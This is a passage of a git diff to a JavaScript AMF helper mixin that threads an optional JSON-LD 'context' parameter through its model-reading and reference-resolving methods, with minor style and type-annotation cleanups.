diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
index f232ae7..67f1908 100644
--- a/src/helpers/AmfHelperMixin.js
+++ b/src/helpers/AmfHelperMixin.js
@@ -134,15 +134,16 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * Returns compact model key for given value.
    * @param {string} property AMF original property
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {string} Compact model property name or the same value if
    * value not found in the context.
    */
-  _getAmfKey(property) {
+  _getAmfKey(property, context) {
     if (!property) {
       return undefined;
     }
     let {amf} = this;
-    if (!amf) {
+    if (!amf && !context) {
       return property;
     }
     if (Array.isArray(amf)) {
@@ -151,7 +152,7 @@ export const AmfHelperMixin = (base) => class extends base {
     if (!this.__cachedKeys) {
       this.__cachedKeys = {};
     }
-    const ctx = amf['@context'];
+    const ctx = /** @type Record<string, string> */ (context || amf['@context']);
     if (!ctx || !property) {
       return property;
     }
@@ -170,11 +171,11 @@ export const AmfHelperMixin = (base) => class extends base {
         cache[property] = k;
         return k;
       } if (hashIndex === -1 && property.indexOf(ctx[k]) === 0) {
-        const result = property.replace(ctx[k], `${k  }:`);
+        const result = property.replace(ctx[k], `${k}:`);
         cache[property] = result;
         return result;
       } if (ctx[k] === hashProperty) {
-        const result = `${k  }:${  property.substr(hashIndex + 1)}`;
+        const result = `${k}:${property.substr(hashIndex + 1)}`;
         cache[property] = result;
         return result;
       }
@@ -225,11 +226,12 @@ export const AmfHelperMixin = (base) => class extends base {
    * Gets a single scalar value from a model.
    * @param {DomainElement} model Amf model to extract the value from.
    * @param {string} key Model key to search for the value
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {string|number|boolean|undefined|null} Value for key
    */
-  _getValue(model, key) {
+  _getValue(model, key, context) {
     /* eslint-disable-next-line no-param-reassign */
-    key = this._getAmfKey(key);
+    key = this._getAmfKey(key, context);
     let data = model && model[key];
     if (!data) {
       // This includes "undefined", "false", "null" and "0"
@@ -253,11 +255,12 @@ export const AmfHelperMixin = (base) => class extends base {
    * Gets values from a model as an array of `@value` properties.
    * @param {DomainElement} model Amf model to extract the value from.
    * @param {string} key Model key to search for the value
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Array<string|number|boolean|null>|undefined} Value for key
    */
-  _getValueArray(model, key) {
+  _getValueArray(model, key, context) {
     /* eslint-disable-next-line no-param-reassign */
-    key = this._getAmfKey(key);
+    key = this._getAmfKey(key, context);
     const data = model && this._ensureArray(model[key]);
     if (!Array.isArray(data)) {
       return undefined;
@@ -270,10 +273,11 @@ export const AmfHelperMixin = (base) => class extends base {
    * 
    * @param {DomainElement} model Amf model to extract the value from.
    * @param {string} key Model key to search for the value
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement[]|undefined} Value for the key
    */
-  [getArrayItems](model, key) {
-    const k = this._getAmfKey(key);
+  [getArrayItems](model, key, context) {
+    const k = this._getAmfKey(key, context);
     const data = model && this._ensureArray(model[k]);
     if (!Array.isArray(data)) {
       return undefined;
@@ -285,10 +289,11 @@ export const AmfHelperMixin = (base) => class extends base {
    * Reads the value of the `@id` property.
    * @param {DomainElement} model Amf model to extract the value from.
    * @param {string} key Model key to search for the @id
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {string|undefined}
    */
-  _getLinkValue(model, key) {
-    const k = this._getAmfKey(key);
+  _getLinkValue(model, key, context) {
+    const k = this._getAmfKey(key, context);
     let data = model && model[k];
     if (!data) {
       return undefined;
@@ -306,10 +311,11 @@ export const AmfHelperMixin = (base) => class extends base {
    * Reads the list of value for the `@id` property.
    * @param {DomainElement} model Amf model to extract the value from.
    * @param {string} key Model key to search for the @id
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {string[]|undefined}
    */
-  _getLinkValues(model, key) {
-    const k = this._getAmfKey(key);
+  _getLinkValues(model, key, context) {
+    const k = this._getAmfKey(key, context);
     let data = /** @type DomainElement[] */ (model && model[k]);
     if (!data) {
       return undefined;
@@ -324,14 +330,15 @@ export const AmfHelperMixin = (base) => class extends base {
    * Checks if a model has a type.
    * @param {DomainElement} model Model to test
    * @param {string} type Type name
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean} True if model has a type.
    */
-  _hasType(model, type) {
+  _hasType(model, type, context) {
     const types = this._ensureArray(model && model['@type']);
     if (!types || !types.length) {
       return false;
     }
-    const key = this._getAmfKey(type);
+    const key = this._getAmfKey(type, context);
     for (let i = 0; i < types.length; i++) {
       if (types[i] === key) {
         return true;
@@ -344,11 +351,12 @@ export const AmfHelperMixin = (base) => class extends base {
    * Checks if a shape has a property.
    * @param {DomainElement} shape The shape to test
    * @param {string} key Property name to test
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean}
    */
-  _hasProperty(shape, key) {
+  _hasProperty(shape, key, context) {
     /* eslint-disable-next-line no-param-reassign */
-    key = this._getAmfKey(key);
+    key = this._getAmfKey(key, context);
     return !!(shape && key && key in shape);
   }
 
@@ -357,14 +365,15 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {DomainElement} shape AMF shape object
    * @param {string} key Property name
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Array<string|number|boolean|null|Object>|undefined}
    */
-  _computePropertyArray(shape, key) {
+  _computePropertyArray(shape, key, context) {
     if (!shape) {
       return undefined;
     }
     /* eslint-disable-next-line no-param-reassign */
-    key = this._getAmfKey(key);
+    key = this._getAmfKey(key, context);
     const data = this._ensureArray(shape && shape[key]);
     if (!data || !Array.isArray(data)) {
       return undefined;
@@ -376,23 +385,25 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes API version from the AMF model.
    *
    * @param {AmfDocument} amf
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {string}
    */
-  _computeApiVersion(amf) {
+  _computeApiVersion(amf, context) {
     const api = this._computeApi(amf);
     if (!api) {
       return undefined;
     }
-    return /** @type string */ (this._getValue(api, this.ns.aml.vocabularies.core.version));
+    return /** @type string */ (this._getValue(api, this.ns.aml.vocabularies.core.version, context));
   }
 
   /**
    * Computes model's `encodes` property.
    *
    * @param {AmfDocument} model AMF data model
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement|undefined} List of encodes
    */
-  _computeEncodes(model) {
+  _computeEncodes(model, context) {
     if (!model) {
       return undefined;
     }
@@ -400,7 +411,7 @@ export const AmfHelperMixin = (base) => class extends base {
       /* eslint-disable-next-line no-param-reassign */
       [model] = model;
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.document.encodes);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.encodes, context);
     const data = model[key];
     if (data) {
       return Array.isArray(data) ? data[0] : data;
@@ -412,9 +423,10 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes list of declarations in the AMF api model.
    *
    * @param {AmfDocument} model AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement[]|undefined} List of declarations
    */
-  _computeDeclares(model) {
+  _computeDeclares(model, context) {
     if (!model) {
       return undefined;
     }
@@ -425,7 +437,7 @@ export const AmfHelperMixin = (base) => class extends base {
     if (!model) {
       return undefined;
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.document.declares);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.declares, context);
     const data = this._ensureArray(model[key]);
     return Array.isArray(data) ? data : undefined;
   }
@@ -434,9 +446,10 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes list of references in the AMF api model.
    *
    * @param {AmfDocument} model AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement[]|undefined} List of declarations
    */
-  _computeReferences(model) {
+  _computeReferences(model, context) {
     if (!model) {
       return undefined;
     }
@@ -447,7 +460,7 @@ export const AmfHelperMixin = (base) => class extends base {
     if (!model) {
       return undefined;
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.document.references);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.references, context);
     const data = this._ensureArray(model[key]);
     return data instanceof Array ? data : undefined;
   }
@@ -456,14 +469,15 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes AMF's `http://schema.org/WebAPI` model
    *
    * @param {AmfDocument} model AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {WebApi|undefined} Web API declaration.
    */
-  _computeWebApi(model) {
-    const enc = this._computeEncodes(model);
+  _computeWebApi(model, context) {
+    const enc = this._computeEncodes(model, context);
     if (!enc) {
       return undefined;
     }
-    if (this._hasType(enc, this.ns.schema.webApi)) {
+    if (this._hasType(enc, this.ns.schema.webApi, context)) {
       return enc;
     }
     return undefined;
@@ -473,14 +487,15 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes AMF's `http://schema.org/API` model
    *
    * @param {AmfDocument} model AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {AsyncApi|WebApi} API declaration.
    */
-  _computeApi(model) {
-    const enc = this._computeEncodes(model);
+  _computeApi(model, context) {
+    const enc = this._computeEncodes(model, context);
     if (!enc) {
       return undefined;
     }
-    if (this._isAPI(model) || this._isWebAPI(model) || this._isAsyncAPI(model)) {
+    if (this._isAPI(model, context) || this._isWebAPI(model, context) || this._isAsyncAPI(model, context)) {
       return enc;
     }
     return undefined;
@@ -490,42 +505,45 @@ export const AmfHelperMixin = (base) => class extends base {
    * Returns whether an AMF node is a WebAPI node
    * 
    * @param {AmfDocument} model  AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean}
    */
-  _isWebAPI(model) {
-    const enc = this._computeEncodes(model);
+  _isWebAPI(model, context) {
+    const enc = this._computeEncodes(model, context);
     if (!enc) {
       return false;
     }
-    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.WebAPI);
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.WebAPI, context);
   }
 
   /**
    * Returns whether an AMF node is an AsyncAPI node
    * 
    * @param {AmfDocument} model  AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean}
    */
-  _isAsyncAPI(model) {
-    const enc = this._computeEncodes(model);
+  _isAsyncAPI(model, context) {
+    const enc = this._computeEncodes(model, context);
     if (!enc) {
       return false;
     }
-    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.AsyncAPI);
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.AsyncAPI, context);
   }
 
   /**
    * Returns whether an AMF node is an API node
    * 
    * @param {AmfDocument} model  AMF json/ld model for an API
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean}
    */
-  _isAPI(model) {
-    const enc = this._computeEncodes(model);
+  _isAPI(model, context) {
+    const enc = this._computeEncodes(model, context);
     if (!enc) {
       return false;
     }
-    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.API);
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.API, context);
   }
 
   /**
@@ -533,12 +551,13 @@ export const AmfHelperMixin = (base) => class extends base {
    * Current valid values:
    * - Operation
    * - Endpoint
-   * @param {Object} model The partial model to evaluate
+   * @param {DomainElement} model The partial model to evaluate
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {boolean} Whether the model's type is part of the array of valid node types from which
    * to read servers
    * @private
    */
-  _isValidServerPartial(model) {
+  _isValidServerPartial(model, context) {
     if (Array.isArray(model)) {
       /* eslint-disable-next-line no-param-reassign */
       [model] = model;
@@ -548,7 +567,7 @@ export const AmfHelperMixin = (base) => class extends base {
     }
     const oKey = this.ns.aml.vocabularies.apiContract.Operation;
     const eKey = this.ns.aml.vocabularies.apiContract.EndPoint;
-    const allowedPartialModelTypes = [this._getAmfKey(oKey), this._getAmfKey(eKey)];
+    const allowedPartialModelTypes = [this._getAmfKey(oKey, context), this._getAmfKey(eKey, context)];
     const types = model['@type'];
     for (const type of types) {
       if (allowedPartialModelTypes.indexOf(type) !== -1) {
@@ -560,40 +579,41 @@ export const AmfHelperMixin = (base) => class extends base {
 
   /**
    * @param {ServersQueryOptions=} [options={}] Server query options
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Server[]} List of servers for method, if defined, or endpoint, if defined, or root level
    */
-  _getServers(options = {}) {
+  _getServers(options = {}, context) {
     const { endpointId, methodId } = options;
     const { amf } = this;
     if (!amf) {
       return undefined;
     }
-    let api = this._computeApi(amf);
+    let api = this._computeApi(amf, context);
     if (Array.isArray(api)) {
       [api] = api;
     }
     if (!api) {
-      if (this._isValidServerPartial(amf)) {
+      if (this._isValidServerPartial(amf, context)) {
         api = amf;
       } else {
         return undefined;
       }
     }
 
-    const serverKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server);
+    const serverKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server, context);
 
-    const getRootServers = () => /** @type Server[] */ (this[getArrayItems](api, serverKey));
+    const getRootServers = () => /** @type Server[] */ (this[getArrayItems](api, serverKey, context));
     const getEndpointServers = () => {
-      const endpoint = this._computeEndpointModel(api, endpointId);
-      const servers = /** @type Server[] */ (this[getArrayItems](endpoint, serverKey));
+      const endpoint = this._computeEndpointModel(api, endpointId, context);
+      const servers = /** @type Server[] */ (this[getArrayItems](endpoint, serverKey, context));
       if (servers) {
         return servers;
       }
       return getRootServers();
     };
     const getMethodServers = () => {
-      const method = this._computeMethodModel(api, methodId);
-      const servers = /** @type Server[] */ (this[getArrayItems](method, serverKey));
+      const method = this._computeMethodModel(api, methodId, context);
+      const servers = /** @type Server[] */ (this[getArrayItems](method, serverKey, context));
       if (servers) {
         return servers;
       }
@@ -612,13 +632,14 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes value for the `expects` property.
    *
    * @param {Operation} method AMF `supportedOperation` model
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Request}
    */
-  _computeExpects(method) {
+  _computeExpects(method, context) {
     const operationKey = this.ns.aml.vocabularies.apiContract.Operation;
     const expectsKey = this.ns.aml.vocabularies.apiContract.expects;
-    if (this._hasType(method, operationKey)) {
-      const key = this._getAmfKey(expectsKey);
+    if (this._hasType(method, operationKey, context)) {
+      const key = this._getAmfKey(expectsKey, context);
       const expects = this._ensureArray(method[key]);
       if (expects) {
         return Array.isArray(expects) ? expects[0] : expects;
@@ -630,14 +651,15 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * Computes list of endpoints from a WebApi model.
    * @param {WebApi} webApi
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {EndPoint[]|undefined} An array of endpoints.
    */
-  _computeEndpoints(webApi) {
+  _computeEndpoints(webApi, context) {
     if (!webApi) {
       return [];
     }
     const endpointKey = this.ns.aml.vocabularies.apiContract.endpoint;
-    const key = this._getAmfKey(endpointKey);
+    const key = this._getAmfKey(endpointKey, context);
     return this._ensureArray(webApi[key]);
   }
 
@@ -646,13 +668,14 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {WebApi} webApi Current value of `webApi` property
    * @param {string} id Selected shape ID
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {EndPoint} An endpoint definition
    */
-  _computeEndpointModel(webApi, id) {
-    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint)) {
+  _computeEndpointModel(webApi, id, context) {
+    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint, context)) {
       return webApi;
     }
-    const endpoints = this._computeEndpoints(webApi);
+    const endpoints = this._computeEndpoints(webApi, context);
     if (!endpoints) {
       return undefined;
     }
@@ -664,10 +687,11 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {WebApi} webApi Current value of `webApi` property
    * @param {string} selected Selected shape
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Operation} A method definition
    */
-  _computeMethodModel(webApi, selected) {
-    const methods = this.__computeMethodsListForMethod(webApi, selected);
+  _computeMethodModel(webApi, selected, context) {
+    const methods = this.__computeMethodsListForMethod(webApi, selected, context);
     if (!methods) {
       return undefined;
     }
@@ -678,20 +702,21 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes an endpoint for a method.
    * @param {WebApi} webApi The WebApi AMF model
    * @param {string} methodId Method id
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {EndPoint|undefined} An endpoint model of undefined.
    */
-  _computeMethodEndpoint(webApi, methodId) {
+  _computeMethodEndpoint(webApi, methodId, context) {
     if (!webApi || !methodId) {
       return undefined;
     }
-    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint)) {
+    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint, context)) {
       return webApi;
     }
-    const endpoints = this._computeEndpoints(webApi);
+    const endpoints = this._computeEndpoints(webApi, context);
     if (!endpoints) {
       return undefined;
     }
-    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
+    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation, context);
     for (let i = 0, len = endpoints.length; i < len; i++) {
       const endpoint = endpoints[i];
       let methods = endpoint[opKey];
@@ -716,14 +741,15 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {WebApi} webApi WebApi model
    * @param {string} methodId Method id.
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Operation[]|undefined} A list of sibling methods or undefined.
    */
-  __computeMethodsListForMethod(webApi, methodId) {
-    const endpoint = this._computeMethodEndpoint(webApi, methodId);
+  __computeMethodsListForMethod(webApi, methodId, context) {
+    const endpoint = this._computeMethodEndpoint(webApi, methodId, context);
     if (!endpoint) {
       return undefined;
     }
-    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
+    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation, context);
     return this._ensureArray(endpoint[opKey]);
   }
 
@@ -733,9 +759,10 @@ export const AmfHelperMixin = (base) => class extends base {
    * @param {DomainElement[]} declares Current value of `declares` property
    * @param {DomainElement[]} references Current value of `references` property
    * @param {string} selected Selected shape
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Shape} A type definition
    */
-  _computeType(declares, references, selected) {
+  _computeType(declares, references, selected, context) {
     if ((!declares && !references) || !selected) {
       return undefined;
     }
@@ -748,7 +775,7 @@ export const AmfHelperMixin = (base) => class extends base {
         if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) {
           continue;
         }
-        type = this._computeReferenceType(references[i], selected);
+        type = this._computeReferenceType(references[i], selected, context);
         if (type) {
           break;
         }
@@ -760,9 +787,10 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * Finds a type in the model declares and references.
    * @param {string} domainId The domain id of the type (AMF's shape).
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Shape|undefined} The AMF shape or undefined when not found.
    */
-  [findAmfType](domainId) {
+  [findAmfType](domainId, context) {
     let { amf } = this;
     if (!amf) {
       return undefined;
@@ -770,7 +798,7 @@ export const AmfHelperMixin = (base) => class extends base {
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
-    const declares = this._computeDeclares(amf);
+    const declares = this._computeDeclares(amf, context);
     const compactId = domainId.replace('amf://id', '');
     if (Array.isArray(declares)) {
       const result = declares.find((item) => item['@id'] === domainId || item['@id'] === compactId);
@@ -786,9 +814,10 @@ export const AmfHelperMixin = (base) => class extends base {
    * It does not resolve the object (useful for handling links correctly).
    * 
    * @param {string} domainId The domain of the object to find in the references.
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement|undefined} The domain object or undefined.
    */
-  [findReferenceObject](domainId) {
+  [findReferenceObject](domainId, context) {
     let { amf } = this;
     if (!amf) {
       return undefined;
@@ -796,14 +825,14 @@ export const AmfHelperMixin = (base) => class extends base {
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
-    const references = this._computeReferences(amf);
+    const references = this._computeReferences(amf, context);
     if (!Array.isArray(references) || !references.length) {
       return undefined;
     }
     const compactId = domainId.replace('amf://id', '');
     for (let i = 0, len = references.length; i < len; i++) {
       const ref = /** @type AmfDocument */ (references[i]);
-      const declares = this._computeDeclares(ref);
+      const declares = this._computeDeclares(ref, context);
       if (!Array.isArray(declares)) {
         continue;
       }
@@ -824,10 +853,11 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes a type model from a reference (library for example).
    * @param {DomainElement} reference AMF model for a reference to extract the data from
    * @param {string} selected Node ID to look for
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {Shape|undefined} Type definition or undefined if not found.
    */
-  _computeReferenceType(reference, selected) {
-    const declare = this._computeDeclares(reference);
+  _computeReferenceType(reference, selected, context) {
+    const declare = this._computeDeclares(reference, context);
     if (!declare) {
       return undefined;
     }
@@ -852,13 +882,14 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {WebApi} webApi Current value of `webApi` property
    * @param {string} selected Selected shape
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement|undefined}
    */
-  _computeDocument(webApi, selected) {
+  _computeDocument(webApi, selected, context) {
     if (!webApi || !selected) {
       return undefined;
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation, context);
     const docs = this._ensureArray(webApi[key]);
     return docs && docs.find((item) => item['@id'] === selected);
   }
@@ -867,14 +898,15 @@ export const AmfHelperMixin = (base) => class extends base {
    * Resolves a reference to an external fragment.
    *
    * @param {any} shape A shape to resolve
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {any} Resolved shape.
    */
-  _resolve(shape) {
+  _resolve(shape, context) {
     const {amf} = this;
-    if (typeof shape !== 'object' || shape instanceof Array || !amf || shape.__apicResolved) {
+    if (typeof shape !== 'object' || Array.isArray(shape) || !amf || shape.__apicResolved) {
       return shape;
     }
-    let refKey = this._getAmfKey(this.ns.aml.vocabularies.document.linkTarget);
+    let refKey = this._getAmfKey(this.ns.aml.vocabularies.document.linkTarget, context);
     let refValue = this._ensureArray(shape[refKey]);
     let refData;
     if (refValue) {
@@ -885,9 +917,9 @@ export const AmfHelperMixin = (base) => class extends base {
         shape.__apicResolved = true;
         return shape;
       }
-      refData = this._getLinkTarget(amf, rk);
+      refData = this._getLinkTarget(amf, rk, context);
     } else {
-      refKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId);
+      refKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId, context);
       refValue = this._ensureArray(shape[refKey]);
       if (refValue) {
         const rk = refValue[0]['@id'];
@@ -897,7 +929,7 @@ export const AmfHelperMixin = (base) => class extends base {
           shape.__apicResolved = true;
           return shape;
         }
-        refData = this._getReferenceId(amf, rk);
+        refData = this._getReferenceId(amf, rk, context);
       }
     }
     if (!refData) {
@@ -919,7 +951,7 @@ export const AmfHelperMixin = (base) => class extends base {
       }
       delete copy['@type'];
     }
-    this._mergeShapes(shape, copy);
+    this._mergeShapes(shape, copy, context);
     /* eslint-disable-next-line no-param-reassign */
     shape.__apicResolved = true;
     this._resolveRecursive(shape);
@@ -929,20 +961,21 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * @param {AmfDocument} amf References object to search in
    * @param {string} id Id of the shape to resolve
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement | undefined} Resolved shape for given reference, undefined otherwise
    */
-  _getLinkTarget(amf, id) {
+  _getLinkTarget(amf, id, context) {
     if (!amf || !id) {
       return undefined;
     }
     let target;
-    const declares = this._computeDeclares(amf);
+    const declares = this._computeDeclares(amf, context);
     if (declares) {
       target = this._findById(declares, id);
     }
     if (!target) {
-      const references = this._computeReferences(amf);
-      target = this._obtainShapeFromReferences(references, id)
+      const references = this._computeReferences(amf, context);
+      target = this._obtainShapeFromReferences(references, id, context);
     }
     if (!target) {
       return undefined;
@@ -957,9 +990,10 @@ export const AmfHelperMixin = (base) => class extends base {
    *
    * @param {DomainElement[]} references References object to search in
    * @param {string} id Id of the shape to resolve
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {DomainElement | undefined} Resolved shape for given reference, undefined otherwise
    */
-  _obtainShapeFromReferences(references, id) {
+  _obtainShapeFromReferences(references, id, context) {
     if (!Array.isArray(references) || !references.length) {
       return undefined;
     }
@@ -967,14 +1001,14 @@ export const AmfHelperMixin = (base) => class extends base {
     for (let i = 0; i < references.length; i++) {
       const _ref = references[i];
       // case of fragment that encodes the shape
-      const encoded = this._computeEncodes(_ref);
+      const encoded = this._computeEncodes(_ref, context);
       if (encoded && encoded['@id'] === id) {
         target = encoded;
         break;
       }
       // case of a library which declares types
       if (!encoded) {
-        target = this._findById(this._computeDeclares(_ref), id);
+        target = this._findById(this._computeDeclares(_ref, context), id);
         if (target) break;
       }
     }
@@ -1001,17 +1035,17 @@ export const AmfHelperMixin = (base) => class extends base {
     return target;
   }
 
-  _getReferenceId(amf, id) {
+  _getReferenceId(amf, id, context) {
     if (!amf || !id) {
       return undefined;
     }
-    const refs = this._computeReferences(amf);
+    const refs = this._computeReferences(amf, context);
     if (!refs) {
       return undefined;
     }
     for (let i = 0; i < refs.length; i++) {
       const _ref = refs[i];
-      const enc = this._computeEncodes(_ref);
+      const enc = this._computeEncodes(_ref, context);
       if (enc) {
         if (enc['@id'] === id) {
           return enc;
@@ -1021,16 +1055,16 @@ export const AmfHelperMixin = (base) => class extends base {
     return undefined;
   }
 
-  _resolveRecursive(shape) {
+  _resolveRecursive(shape, context) {
     Object.keys(shape).forEach((key) => {
       const currentShape = shape[key];
-      if (currentShape instanceof Array) {
+      if (Array.isArray(currentShape)) {
         for (let i = 0, len = currentShape.length; i < len; i++) {
           currentShape[i] = this._resolve(currentShape[i]);
         }
       } else if (typeof currentShape === 'object') {
         /* eslint-disable-next-line no-param-reassign */
-        shape[key] = this._resolve(currentShape);
+        shape[key] = this._resolve(currentShape, context);
       }
     });
   }
@@ -1040,17 +1074,21 @@ export const AmfHelperMixin = (base) => class extends base {
    * then the special merge function for that key will be used to match that property
    * @param {any} shapeA AMF node
    * @param {any} shapeB AMF node
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {*} Merged AMF node
    * @private
    */
-  _mergeShapes(shapeA, shapeB) {
+  _mergeShapes(shapeA, shapeB, context) {
     const merged = { ...shapeA, ...shapeB };
     const specialMerges = [
-      { key: this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources), merger: this._mergeSourceMapsSources.bind(this) },
+      { 
+        key: this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources, context), 
+        merger: this._mergeSourceMapsSources.bind(this) 
+      },
     ];
     specialMerges.forEach(({ key, merger }) => {
-      if (this._hasProperty(merged, key)) {
-        merged[key] = merger(shapeA, shapeB);
+      if (this._hasProperty(merged, key, context)) {
+        merged[key] = merger(shapeA, shapeB, context);
       }
     });
     return Object.assign(shapeA, merged);
@@ -1062,11 +1100,12 @@ export const AmfHelperMixin = (base) => class extends base {
    * Result is wrapped in an array as per AMF model standard
    * @param shapeA AMF node
    * @param shapeB AMF node
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {(*|{})[]} Empty object or resulting merge, wrapped in an array
    * @private
    */
-  _mergeSourceMapsSources(shapeA, shapeB) {
-    const sourcesKey = this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources);
+  _mergeSourceMapsSources(shapeA, shapeB, context) {
+    const sourcesKey = this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources, context);
     let aSources = shapeA[sourcesKey] || {};
     if (Array.isArray(aSources)) {
       /* eslint-disable prefer-destructuring */
@@ -1083,17 +1122,18 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * Expands the key property from compacted mode to full mode.
    * @param {string} value The value to process
+   * @param {Record<string, string>=} context
    * @returns {string} The expanded value.
    */
-  [expandKey](value) {
+  [expandKey](value, context) {
     let { amf } = this;
-    if (!value || typeof value !== 'string' || !amf) {
+    if (!value || typeof value !== 'string' || (!amf && !context)) {
       return value;
     }
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
-    const ctx = amf['@context'];
+    const ctx = context || amf['@context'];
     if (!ctx) {
       return value;
     }
@@ -1111,11 +1151,12 @@ export const AmfHelperMixin = (base) => class extends base {
   /**
    * Computes a security model from a reference (library for example).
    * @param {string} domainId Domain id of the security requirement to find.
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {SecurityScheme|undefined} Type definition or undefined if not found.
    */
-  findSecurityScheme(domainId) {
+  findSecurityScheme(domainId, context) {
     const { amf } = this;
-    const declares = this._computeDeclares(amf);
+    const declares = this._computeDeclares(amf, context);
     let result;
     if (declares) {
       result = declares.find((item) => item['@id'] === domainId);
@@ -1124,11 +1165,11 @@ export const AmfHelperMixin = (base) => class extends base {
       result = this._resolve(result);
       return result;
     }
-    const references = this._computeReferences(amf);
+    const references = this._computeReferences(amf, context);
     if (Array.isArray(references) && references.length) {
